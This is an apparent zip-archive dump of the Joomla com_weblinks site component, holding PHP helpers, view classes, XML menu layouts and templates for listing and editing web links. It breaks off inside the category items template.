 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Helper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\Component\Categories\Administrator\Helper\CategoryAssociationHelper;

/**
 * Weblinks Component Association Helper
 *
 * @since  3.0
 */
abstract class AssociationHelper extends CategoryAssociationHelper
{
    /**
     * Method to get the associations for a given item
     *
     * @param   integer  $id    Id of the item
     * @param   string   $view  Name of the view
     *
     * @return  array   Array of associations for the item
     *
     * @since   3.0
     */
    public static function getAssociations($id = 0, $view = null)
    {
        $input = Factory::getApplication()->getInput();
        $view  = \is_null($view) ? $input->get('view') : $view;
        $id    = empty($id) ? $input->getInt('id') : $id;
        if ($view === 'weblink') {
            if ($id) {
                $associations = Associations::getAssociations('com_weblinks', '#__weblinks', 'com_weblinks.item', $id);
                $return       = [];
                foreach ($associations as $tag => $item) {
                    $return[$tag] = RouteHelper::getWeblinkRoute($item->id, (int) $item->catid, $item->language);
                }

                return $return;
            }
        }

        if ($view == 'category' || $view == 'categories') {
            return self::getCategoryAssociations($id, 'com_weblinks');
        }

        return [];
    }
}
PK���\4����
�
'com_weblinks/src/Helper/RouteHelper.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\Helper;

use Joomla\CMS\Categories\CategoryNode;
use Joomla\CMS\Language\Multilanguage;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
 * Weblinks Component Route Helper.
 *
 * @since  1.5
 */
abstract class RouteHelper
{
    /**
     * Get the route of the weblink
     *
     * @param   integer  $id        Web link ID
     * @param   integer  $catid     Category ID
     * @param   string   $language  Language
     *
     * @return  string
     */
    public static function getWeblinkRoute($id, $catid, $language = 0)
    {
        // Create the link
        $link = 'index.php?option=com_weblinks&view=weblink&id=' . $id;
        if ($catid > 1) {
            $link .= '&catid=' . $catid;
        }

        if ($language && $language !== '*' && Multilanguage::isEnabled()) {
            $link .= '&lang=' . $language;
        }

        return $link;
    }

    /**
     * Ge the form route
     *
     * @param   integer  $id      The id of the weblink.
     * @param   string   $return  The return page variable.
     *
     * @return  string
     */
    public static function getFormRoute($id, $return = null)
    {
        // Create the link.
        if ($id) {
            $link = 'index.php?option=com_weblinks&task=weblink.edit&w_id=' . $id;
        } else {
            $link = 'index.php?option=com_weblinks&task=weblink.add&w_id=0';
        }

        if ($return) {
            $link .= '&return=' . $return;
        }

        return $link;
    }

    /**
     * Get the Category Route
     *
     * @param   CategoryNode|string|integer  $catid     JCategoryNode object or category ID
     * @param   integer                      $language  Language code
     *
     * @return  string
     */
    public static function getCategoryRoute($catid, $language = 0)
    {
        if ($catid instanceof CategoryNode) {
            $id = $catid->id;
        } else {
            $id = (int) $catid;
        }

        if ($id < 1) {
            $link = '';
        } else {
            // Create the link
            $link = 'index.php?option=com_weblinks&view=category&id=' . $id;
            if ($language && $language !== '*' && Multilanguage::isEnabled()) {
                $link .= '&lang=' . $language;
            }
        }

        return $link;
    }
}
PK���\��XnXX'com_weblinks/src/View/Form/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\View\Form;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\Component\Weblinks\Site\Model\FormModel;

/**
 * HTML Article View class for the Weblinks component
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * @var    \Joomla\CMS\Form\Form
     * @since  4.0.0
     */
    protected $form;

    /**
     * @var    object
     * @since  4.0.0
     */
    protected $item;

    /**
     * @var    string
     * @since  4.0.0
     */
    protected $return_page;

    /**
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx;

    /**
     * @var    \Joomla\Registry\Registry
     * @since  4.0.0
     */
    protected $state;

    /**
     * @var    \Joomla\Registry\Registry
     * @since  4.0.0
     */
    protected $params;

    /**
     * Display the view.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  mixed  A string if successful, otherwise an Error object.
     */
    public function display($tpl = null)
    {
        $user = $this->getCurrentUser();

        // Get model data.
        /* @var FormModel $model */
        $model = $this->getModel();

        $this->state       = $model->getState();
        $this->item        = $model->getItem();
        $this->form        = $model->getForm();
        $this->return_page = $model->getReturnPage();

        // Check for errors.
        if (\count($errors = $model->getErrors())) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        if (empty($this->item->id)) {
            $authorised = $user->authorise('core.create', 'com_weblinks') || \count($user->getAuthorisedCategories('com_weblinks', 'core.create'));
        } else {
            $authorised = $user->authorise('core.edit', 'com_weblinks.category.' . $this->item->catid);
        }

        if ($authorised !== true) {
            throw new \Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
        }

        if (!empty($this->item)) {
            // Override the base weblink data with any data in the session.
            $temp = (array) Factory::getApplication()->getUserState('com_weblinks.edit.weblink.data', []);

            foreach ($temp as $k => $v) {
                $this->item->$k = $v;
            }

            $this->form->bind($this->item);
        }

        // Create a shortcut to the parameters.
        $params = &$this->state->params;

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

        $this->params = $params;
        $this->user   = $user;

        $this->prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if (empty($this->item->id)) {
            $head = Text::_('COM_WEBLINKS_FORM_SUBMIT_WEBLINK');
        } else {
            $head = Text::_('COM_WEBLINKS_FORM_EDIT_WEBLINK');
        }

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', $head);
        }

        $title = $this->params->def('page_title', $head);

        $this->setDocumentTitle($title);

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('menu-meta_keywords')) {
            $this->getDocument()->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetadata('robots', $this->params->get('robots'));
        }
    }
}
PK���\-2ol��+com_weblinks/src/View/Category/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\View\Category;

use Joomla\CMS\MVC\View\CategoryView;
use Joomla\CMS\Router\Route;
use Joomla\Component\Weblinks\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
 * HTML View class for the WebLinks component
 *
 * @since  1.5
 */
class HtmlView extends CategoryView
{
    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_weblinks';
    /**
         * Execute and display a template script.
         *
         * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
         *
         * @return  mixed  A string if successful, otherwise a Error object.
         */
    public function display($tpl = null)
    {
        parent::commonCategoryDisplay();
        // Prepare the data.
        // Compute the weblink slug & link url.
        foreach ($this->items as $item) {
            $item->slug   = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
            $temp         = $item->params;
            $item->params = clone $this->params;
            $item->params->merge($temp);
            if ($item->params->get('count_clicks', 1) == 1) {
                $item->link = Route::_('index.php?option=com_weblinks&task=weblink.go&id=' . $item->id);
            } else {
                $item->link = $item->url;
            }
        }

        return parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function prepareDocument()
    {
        parent::prepareDocument();
        parent::addFeed();
        if ($this->menuItemMatchCategory) {
            // If the active menu item is linked directly to the category being displayed, no further process is needed
            return;
        }

        // Get ID of the category from active menu item
        $menu = $this->menu;

        if (
            $menu && $menu->component == 'com_weblinks' && isset($menu->query['view'])
            && \in_array($menu->query['view'], ['categories', 'category'])
        ) {
            $id = $menu->query['id'];
        } else {
            $id = 0;
        }

        $path     = [['title' => $this->category->title, 'link' => '']];
        $category = $this->category->getParent();
        while ($category !== null && $category->id != $id && $category->id !== 'root') {
            $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
            $category = $category->getParent();
        }

        $path = array_reverse($path);
        foreach ($path as $item) {
            $this->pathway->addItem($item['title'], $item['link']);
        }
    }
}
PK���\������+com_weblinks/src/View/Category/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\View\Category;

use Joomla\CMS\MVC\View\CategoryFeedView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
 * HTML View class for the WebLinks component
 *
 * @since  1.0
 */
class FeedView extends CategoryFeedView
{
    /**
     * @var    string  The name of the view to link individual items to
     * @since  3.2
     */
    protected $viewName = 'weblink';
}
PK���\�4T
��-com_weblinks/src/View/Categories/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\View\Categories;

use Joomla\CMS\MVC\View\CategoriesView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
 * Weblinks categories view.
 *
 * @since  1.5
 */
class HtmlView extends CategoriesView
{
    /**
     * @var    string  Default title to use for page title
     * @since  3.2
     */
    protected $pageHeading = 'COM_WEBLINKS_DEFAULT_PAGE_TITLE';
    /**
         * @var    string  The name of the extension for the category
         * @since  3.2
         */
    protected $extension = 'com_weblinks';
}
PK���\)N��*com_weblinks/src/View/Weblink/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Weblinks\Site\View\Weblink;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Weblinks\Site\Model\WeblinkModel;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML Weblink View class for the Weblinks component
 *
 * @since  __DEPLOY_VERSION__
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The weblink object
     *
     * @var    \JObject
     */
    protected $item;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     */
    protected $params;

    /**
     * The item model state
     *
     * @var    \Joomla\Registry\Registry
     * @since  1.6
     */
    protected $state;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  mixed  A string if successful, otherwise an Error object.
     *
     * @throws  \Exception
     * @since   __DEPLOY_VERSION__
     */
    public function display($tpl = null)
    {
        $app = Factory::getApplication();

        /* @var WeblinkModel $model */
        $model        = $this->getModel();
        $this->item   = $model->getItem();
        $this->state  = $model->getState();
        $this->params = $this->state->get('params');

        $errors = $model->getErrors();

        if (\count($errors) > 0) {
            $this->handleModelErrors($errors);
        }

        PluginHelper::importPlugin('content');

        // Create a shortcut for $item.
        $item         = $this->item;
        $item->slug   = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
        $temp         = $item->params;
        $item->params = clone $app->getParams();
        $item->params->merge($temp);
        $offset = $this->state->get('list.offset');
        $app->triggerEvent('onContentPrepare', ['com_weblinks.weblink', &$item, &$item->params, $offset]);
        $item->event                       = new \stdClass();
        $results                           = $app->triggerEvent('onContentAfterTitle', ['com_weblinks.weblink', &$item, &$item->params, $offset]);
        $item->event->afterDisplayTitle    = trim(implode("\n", $results));
        $results                           = $app->triggerEvent('onContentBeforeDisplay', ['com_weblinks.weblink', &$item, &$item->params, $offset]);
        $item->event->beforeDisplayContent = trim(implode("\n", $results));
        $results                           = $app->triggerEvent('onContentAfterDisplay', ['com_weblinks.weblink', &$item, &$item->params, $offset]);
        $item->event->afterDisplayContent  = trim(implode("\n", $results));
        parent::display($tpl);
    }

    /**
     * Handle errors returned by model
     *
     * @param   array  $errors
     *
     * @return void
     * @throws \Exception
     */
    private function handleModelErrors(array $errors): void
    {
        foreach ($errors as $error) {
            // Throws 404 error if weblink item not found
            if ($error instanceof \Exception && $error->getCode() === 404) {
                throw $error;
            }
        }

        // Otherwise, it is database runtime error, and we will throw error 500
        throw new GenericDataException(implode("\n", $errors), 500);
    }
}
PK���\�V�com_weblinks/helpers/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\���DDcom_weblinks/helpers/icon.phpnu&1i�<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
 * Weblink Component HTML Helper.
 *
 * @since  1.5
 */
class JHtmlIcon
{
    /**
     * Create a link to create a new weblink
     *
     * @param   object                     $category  The category information
     * @param   \Joomla\Registry\Registry  $params    The item parameters
     *
     * @return  string
     */
    public static function create($category, $params)
    {
        return self::getIcon()->create($category, $params);
    }

    /**
     * Create a link to edit an existing weblink
     *
     * @param   object                     $weblink  Weblink data
     * @param   \Joomla\Registry\Registry  $params   Item params
     * @param   array                      $attribs  Unused
     *
     * @return  string
     */
    public static function edit($weblink, $params, $attribs = [])
    {
        return self::getIcon()->edit($weblink, $params, $attribs);
    }

    /**
     * Creates an icon instance.
     *
     * @return  \Joomla\Component\Weblinks\Administrator\Service\HTML\Icon
     */
    private static function getIcon()
    {
        return (new \Joomla\Component\Weblinks\Administrator\Service\HTML\Icon(Joomla\CMS\Factory::getApplication()));
    }
}
PK���\(�B &&com_weblinks/helpers/route.phpnu&1i�<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\Component\Weblinks\Site\Helper\RouteHelper;

/**
 * Weblinks Component Route Helper.
 *
 * @since  1.5
 */
abstract class WeblinksHelperRoute extends RouteHelper
{
}
PK���\������com_weblinks/tmpl/form/edit.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
HTMLHelper::_('behavior.formvalidator');
$captchaEnabled = false;
$captchaSet = $this->params->get('captcha', Factory::getApplication()->get('captcha', '0'));
foreach (PluginHelper::getPlugin('captcha') as $plugin) {
    if ($captchaSet === $plugin->name) {
        $captchaEnabled = true;
        break;
    }
}

// Create shortcut to parameters.
$params = $this->state->get('params');
?>
<div class="edit item-page<?php echo $this->pageclass_sfx; ?>">
    <?php if ($this->params->get('show_page_heading')) :
        ?>
   <div class="page-header">
      <h1>
            <?php echo $this->escape($this->params->get('page_heading')); ?>
      </h1>
  </div>
        <?php
    endif; ?>
    <form action="<?php echo Route::_('index.php?option=com_weblinks&view=form&w_id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate form-vertical">

        <?php echo $this->form->renderField('title'); ?>
        <?php echo $this->form->renderField('alias'); ?>
        <?php echo $this->form->renderField('catid'); ?>
        <?php echo $this->form->renderField('url'); ?>
        <?php echo $this->form->renderField('tags'); ?>

        <?php if ($params->get('save_history', 0)) :
            ?>
            <?php echo $this->form->renderField('version_note'); ?>
            <?php
        endif; ?>

        <?php if ($this->user->authorise('core.edit.state', 'com_weblinks.weblink')) :
            ?>
            <?php echo $this->form->renderField('state'); ?>
            <?php
        endif; ?>
        <?php echo $this->form->renderField('language'); ?>
        <?php echo $this->form->renderField('description'); ?>

        <?php echo $this->form->renderField('image_first', 'images'); ?>
        <?php echo $this->form->renderField('image_first_alt', 'images'); ?>
        <?php echo $this->form->renderField('image_first_alt_empty', 'images'); ?>
        <?php echo $this->form->renderField('float_first', 'images'); ?>
        <?php echo $this->form->renderField('image_first_caption', 'images'); ?>

        <?php echo $this->form->renderField('image_second', 'images'); ?>
        <?php echo $this->form->renderField('image_second_alt', 'images'); ?>
        <?php echo $this->form->renderField('image_second_alt_empty', 'images'); ?>
        <?php echo $this->form->renderField('float_second', 'images'); ?>
        <?php echo $this->form->renderField('image_second_caption', 'images'); ?>


        <?php if ($captchaEnabled) :
            ?>
            <div class="btn-group">
                <?php echo $this->form->renderField('captcha'); ?>
         </div>
            <?php
        endif; ?>

        <div class="mb-2">
         <button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('weblink.save')">
               <span class="icon-check" aria-hidden="true"></span>
                <?php echo Text::_('JSAVE'); ?>
            </button>
          <button type="button" class="btn btn-danger" onclick="Joomla.submitbutton('weblink.cancel')">
              <span class="icon-times" aria-hidden="true"></span>
                <?php echo Text::_('JCANCEL'); ?>
          </button>
            <?php if ($this->params->get('save_history', 0) && $this->item->id) :
                ?>
                <?php echo $this->form->getInput('contenthistory'); ?>
                <?php
            endif; ?>
      </div>

        <input type="hidden" name="return" value="<?php echo $this->return_page;?>" />
     <input type="hidden" name="task" value="" />
        <?php echo HTMLHelper::_('form.token'); ?>
    </form>
</div>
PK���\�F�q>>com_weblinks/tmpl/form/edit.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout
		title="com_weblinks_form_view_default_title" option="com_weblinks_form_view_default_option">
		<help
			key="Menus_Menu_Item_Weblink_Submit"
		/>
		<message>
			<![CDATA[com_weblinks_form_view_default_desc]]>
		</message>
	</layout>
</metadata>
PK���\��WW&com_weblinks/tmpl/category/default.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_TITLE" option="com_weblinks_category_view_default_option">
		<help
			key="Menus_Menu_Item_Weblink_Category"
		/>
		<message>
			<![CDATA[COM_WEBLINKS_CATEGORY_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="id"
				type="category"
				label="COM_WEBLINKS_FIELD_SELECT_CATEGORY_LABEL"
				default="0"
				extension="com_weblinks"
				required="true"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset
				name="basic"
				label="JGLOBAL_CATEGORY_OPTIONS"
				description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
			<field
				name="show_category_title"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_TITLE"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_description_image"
				type="list"
				label="JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="maxLevel"
				type="list"
				label="JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL"
				useglobal="true"
				>
				<option value="0">JNONE</option>
				<option value="-1">JALL</option>
				<option value="1">J1</option>
				<option value="2">J2</option>
				<option value="3">J3</option>
				<option value="4">J4</option>
				<option value="5">J5</option>

			</field>

			<field
				name="show_empty_categories"
				type="list"
				label="JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_subcat_desc"
				type="list"
				label="JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_cat_num_links"
				type="list"
				label="COM_WEBLINKS_FIELD_CONFIG_CAT_SHOWNUMBERS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL">
			<field
				name="filter_field"
				type="list"
				label="JGLOBAL_FILTER_FIELD_LABEL"
				default=""
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link_description"
				type="list"
				label="COM_WEBLINKS_FIELD_CONFIG_LINKDESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_link_hits"
				type="list"
				label="JGLOBAL_HITS"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>

			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				useglobal="true"
				class="form-select-color-state"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\�K��GG&com_weblinks/tmpl/category/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Layout\LayoutHelper;

?>
<div class="com-weblinks-category">
    <?php
    $this->subtemplatename = 'items';
    echo LayoutHelper::render('joomla.content.category_default', $this);
    ?>
</div>
PK���\��H�8�8,com_weblinks/tmpl/category/default_items.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Uri\Uri;

HTMLHelper::_('behavior.core');
// Get the user object.
$user = Factory::getApplication()->getIdentity();
// Check if user is allowed to add/edit based on weblinks permission.
$canEdit    = $user->authorise('core.edit', 'com_weblinks.category.' . $this->category->id);
$canEditOwn = $user->authorise('core.edit.own', 'com_weblinks.category.' . $this->category->id);
$canCreate  = $user->authorise('core.create', 'com_weblinks.category.' . $this->category->id);
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
?>

<div class="com-weblinks-category__items">
    <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
        <?php if ($this->params->get('filter_field')) :
            ?>
            <div class="com-weblinks-category__filter btn-group">
              <label class="filter-search-lbl visually-hidden" for="filter-search">
                    <?php echo Text::_('COM_WEBLINKS_FILTER_SEARCH_DESC'); ?>
                </label>
               <input
                 type="text"
                    name="filter-search"
                   id="filter-search"
                    value="<?php echo $this->escape($this->state->get('list.filter')); ?>"
                  onchange="document.adminForm.submit();"
                    placeholder="<?php echo Text::_('COM_WEBLINKS_FILTER_SEARCH_DESC'); ?>"
                >
                <button type="submit" name="filter_submit" class="btn btn-primary"><?php echo Text::_('JGLOBAL_FILTER_BUTTON'); ?></button>
              <button type="button" name="filter-clear-button" class="btn btn-secondary"
                        onclick="this.form.elements['filter-search'].value = ''; this.form.submit();"><?php echo Text::_('JSEARCH_FILTER_CLEAR'); ?></button>
           </div>
            <?php
        endif; ?>
        <?php if ($this->params->get('show_pagination_limit')) :
            ?>
         <div class="com-weblinks-category__pagination btn-group float-end">
                <label for="limit" class="visually-hidden">
                    <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?>
              </label>
                <?php echo $this->pagination->getLimitBox(); ?>
           </div>
            <?php
        endif; ?>
        <?php if (empty($this->items)) :
            ?>
         <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('COM_WEBLINKS_NO_WEBLINKS'); ?>
         </div>
            <?php
        else :
            ?>
         <ul class="category list-unstyled">
                <?php foreach ($this->items as $i => $item) :
                    ?>
                    <?php
                    // Shouldn't this be only for users with admin rights?
                    // @ToDo: what is the difference -class system-unbublished?
                    if ($item->state == 0) :
                        ?>
                      <li class="system-unpublished list-group mt-3">
                        <?php
                    else :
                        ?>
                        <li class="list-group mt-3">
                        <?php
                    endif; ?>

                    <?php if ($canEdit || ($canEditOwn && $item->created_by == $user->id)) :
                        ?>
                        <div class="icons list-group-item">
                            <?php echo HTMLHelper::_('weblinkicon.edit', $item, $item->params); ?>
                     </div>
                        <?php
                    endif; ?>

                    <div class="list-title list-group-item ">
                        <?php if ($this->params->get('icons', 1) == 0) :
                            ?>
                            <?php echo Text::_('COM_WEBLINKS_LINK'); ?>
                            <?php
                        elseif ($this->params->get('icons', 1) == 1) :
                            ?>
                            <?php // ToDo css icons as variables ?>
                            <?php if (!$this->params->get('link_icons')) :
                                ?>
                                <span class="icon-globe" aria-hidden="true"></span>
                                <?php
                            else :
                                ?>
                                <?php echo '<img src="' . $this->params->get('link_icons') . '" alt="' . Text::_('COM_WEBLINKS_LINK') . '" />'; ?>
                                <?php
                            endif; ?>
                            <?php
                        endif; ?>

                        <?php // Compute the correct link ?>
                        <?php $menuclass = 'category' . $this->pageclass_sfx; ?>
                        <?php $link   = $item->link; ?>
                        <?php $width  = $item->params->get('width', 600); ?>
                        <?php $height = $item->params->get('height', 500); ?>

                        <?php if ($item->state == 0) :
                            ?>
                            <span class="badge bg-warning"><?php echo Text::_('JUNPUBLISHED'); ?></span>
                            <?php
                        endif; ?>

                        <?php
                        switch ($item->params->get('target', $this->params->get('target'))) {
                            case 1:
                                // Open in a new window
                                echo '<a href="' . $link . '" target="_blank" class="' . $menuclass . '" rel="nofollow">' .
                                    $this->escape($item->title) . '</a>';

                                break;
                            case 2:
                                // Open in a popup window
                                $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=' . $this->escape($width) . ',height=' . $this->escape($height) . '';
                                echo "<a href=\"$link\" onclick=\"window.open(this.href, 'targetWindow', '" . $attribs . "'); return false;\">" .
                                    $this->escape($item->title) . '</a>';

                                break;
                            case 3:
                                // Open in a modal window
